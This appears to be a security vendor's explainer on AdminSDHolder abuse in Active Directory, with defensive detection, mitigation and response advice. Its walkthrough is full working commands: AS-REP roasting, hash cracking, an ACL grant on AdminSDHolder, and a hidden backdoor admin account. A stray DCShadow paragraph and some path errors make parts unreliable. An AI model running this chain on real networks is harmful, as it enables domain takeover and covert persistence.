AdminSDHolder Modification

AdminSDHolder Modification

AdminSDHolder Modification is a persistence technique in which an attacker abuses the SDProp process in Active Directory to establish a persistent backdoor to Active Directory. Each hour (by default), SDProp compares the permissions on protected objects (e.g. the Domain Admins group) in Active Directory with those defined on a special container called AdminSDHolder. If they differ, it replaces the permissions on the protected object with those defined on AdminSDHolder. An adversary who modifies the AdminSDHolder container can establish a path of shadow administration and a means to regain administrative access to Active Directory.

Threat Summary

Target:

Active Directory

Tools:

PowerSploit

ATT&CK® Tactic:

Persistence, Defense Evasion

ATT&CK Technique:

N/A

Difficulty

Detection:

Low

Mitigation:

Medium

Response:

Low

How AdminSDHolder Modification Works

Hover to see each step

Step 1: Before an adversary is able to modify the AdminSDHolder container, they must gain administrative privilege in the domain. In this example, the adversary utilizes a tool like Rubeus to AS-REP roast a privileged user with Kerberos pre-authentication disabled.

PS> .\Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat
 
[*] Action: AS-REP roasting
 
[*] Target Domain          : domain.com
[*] Target DC              : dc1
 
[*] Searching path 'LDAP://dc1/DC=domain,DC=com' for AS-REP roastable users
[*] SamAccountName         : joed
[*] DistinguishedName      : CN=Joe Dibley,OU=Users,OU=Admin,DC=domain,DC=com
[*] Using domain controller: dc1 (10.154.201.1)
[*] Building AS-REQ (w/o preauth) for: 'domain.com\joed'
[+] AS-REQ w/o preauth successful!
[*] Hash written to c:\Tools\Ghostpack\dotnet v4.5 compiled binaries\hashes.txt
 
[*] Roasted hashes written to : c:\Tools\Ghostpack\dotnet v4.5 compiled binaries\hashes.txt
 
PS> .\hashcat.exe -m 18200 -o cracked.txt -a 0 .\Hash.txt .\wordlist.txt
...
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$joed@domain.com:e7d1f...2ac95c
Time.Started.....: Thu Jul 23 18:58:36 2020 (0 secs)
Time.Estimated...: Thu Jul 23 18:58:36 2020 (0 secs)
Guess.Base.......: File (.\wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    97694 H/s (0.26ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 0/100 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> taylor
Hardware.Mon.#1..: Temp: 47c Fan: 34% Util: 32% Core:1265MHz Mem:2504MHz Bus:16
 
PS> Get-Content .\cracked.txt
$krb5asrep$23$joed@domain.com:e7d1f86a67ca41137f9a0b45d24f5795$3f8e0e7a0d8055d91a3fa2c67b537949e7dc30f41b797e01fa459d774d0c10c3fbc2488c7bb634db93118bb5a8dfe99107899f56e2542d39fef9b27d893fbaa5e92acd207b059b548d456f9daa18b24f0c9e83af16898eec8e9dbde3128772924a3f10e09cd66fbede311b3c3a4aa45d9feb6c49178dbab65dd8e38af89b3ac0fad7bde16b0bb50e25c8f6f92d29d5d3a9dc8e633e31db73dd06aa2e2a5e97053f73fada97564248d048fc74b7e13d56016210e6a3d1f4e4c7cafb60007bec16d682b3fd210bdaa1d2f3d44c717f19cf1583e814d92ace43991d132be1897ebeaa8b78daa7b29f1a3e03301c3920da1cf9bd8a887a92fc79280734e5acb2fadcfa05895f0f2ac95c:P@ssword!23
 
# domain\joed has a password of: P@ssword!23

Step 2: After successfully cracking the password hash obtained through AS-REP roasting, the adversary authenticates with the password and uses PowerSploit’s Add-DomainObjectACL cmdlet to grant all privileges on the AdminSDHolder container to a normal user they’d previously compromised. The next time the SDProp process runs, BobT’s new privileges will be applied to all protected objects.

PS> runas /noprofile /user:domain\joed powershell.exe
 
# --- New Window Opens --- #
 
PS> Import-Module .\PowerSploit.psd1
PS> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All
 
PS> # Confirming Permissions Added
PS> Get-DomainObjectAcl -Identity `CN=AdminSDHolder,CN=System` -ResolveGUIDs
 
InheritedObjectType   : All
ObjectDN              : CN=AdminSDHolder,CN=System,DC=Domain,DC=com
ObjectType            : All
IdentityReference     : Domain\BobT
IsInherited           : False
ActiveDirectoryRights : GenericAll
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : None
InheritanceType       : None
AccessControlType     : Allow
ObjectSID             :

Step 3: At this stage, the adversary has control of the JoeD and BobT accounts and has created a persistence mechanism that will allow them to regain Domain Admins privileges if they lose access to JoeD. BobT is, in effect, a shadow administrator of the Active Directory domain.

In this example, the adversary has lost access to JoeD’s account. Instead of having to AS-REP roast again (perhaps pre-authentication was enabled!) or use some other method, the attacker can use BobT’s account to re-establish their position.

PS> Add-ADGroupMember -Identity "Domain Admins" -Members BobT
PS> # Re-authenticate as User1 to get updated group membership or if no password then wait until user re-autenticates
PS> runas.exe /user:domain\BobT powershell
 
PS> New-ADOrganizationalUnit -Path "DC=domain,DC=com" -Name "Users"
PS> New-ADUser -AccountPassword (ConvertTo-SecureString -AsPlainText -Force -String "MySimplePassword123!") -SamAccountName PaulaS -Name "Paula Smith" -DisplayName "Paula Smith" -EmailAddress "Paula.Smith@domain.com" -PasswordNeverExpires $True -Path "OU=Users,DC=domain,DC=com"
PS> Add-ADGroupMember -Identity "Domain Admins" -Members PaulaS
PS> # Hide the PaulaS and Users OU
PS> Import-Module RACE.psm1
PS> Set-ADACL -SamAccountName Everyone -Right ReadProperty -Type Deny -DistinguishedName (Get-ADUser PaulaS)
PS> Set-ADACL -SAMAccountName Everyone -Right ListChildren -Type Deny -DistinguishedName "OU=Users,DC=domain,DC=com" 
PS> # Remove BobT from Domain Admins to hide privileges
PS> Remove-ADGroupMember -Identity "Domain Admins" -Members BobT
PC>

Detect, Mitigate, and Respond

Difficulty: Low

Watching for changes to the AdminSDHolder container ACL is a good way to detect potentially malicious activity. In a normal environment, changes to AdminSDHolder should occur infrequently and follow change control processes. Event ID 5136 in the Audit Directory Service Changes subcategory of the Windows event log monitors directory service changes. To identify changes to the AdminSDHolder container ACL, monitor events which match the ObjectDN “CN=AdminSDHolder,DC=System” and the AttributeLDAPDisplayName is ‘nTSecurityDescriptor’.

The following XPath filter can be used in the Windows Event Viewer to detect modifications to the AdminSDHolder container ACL.

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
*[System[(EventID=5136)]]
and
*[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and
*[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]
</Select>
  </Query>
</QueryList>

It is also possible to detect certain signs of DCShadow in Windows event logs. In order to mimic a domain controller, DCShadow must make several changes in Active Directory: 1) add a new NTDSDSA object, and 2) add a global catalog (GC/<host>) servicePrincipalName to a computer object that is not a known domain controller. After the attack is completed, these items are removed.

The Windows event log Audit Directory Service Changes subcategory includes Event ID 5136 and Event ID 5141, which can be analyzed to look for creation and deletion of server objects within sites.

Difficulty: Medium

The AdminSDHolder container is a core part of Active Directory. By default, only users with administrative privileges in Active Directory are able to modify their ACL. To mitigate the risk of unauthorized modification:

  • Routinely audit AdminSDHolder permissions for unauthorized or unnecessary permissions.
  • Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who initially compromises a workstation should not be able to escalate privileges to move from the workstation to a server or domain controller. Eliminating these pathways to privilege escalation is essential.
  • Aggressively embrace the principle of least privilege.

Difficulty: Low

If unauthorized permissions are granted on the AdminSDHolder container, the following actions can be taken to respond:

  • Activate the incident response process and alert the response team
  • Remove the newly added ACL; if done before the SDProp process runs (by default every 60 minutes) no new permissions on protected objects would be propagated
  • Reset the password of the user that performed the unauthorized modification of the AdminSDHolder container ACL. Optionally disable the user to a) force instantaneous replication to all domain controllers, and b) disrupt the adversary’s use of that account
  • Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities

Additional Resources

Learn More About DCShadow

Further Reading

In Practice

Stealthbits Solutions

MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation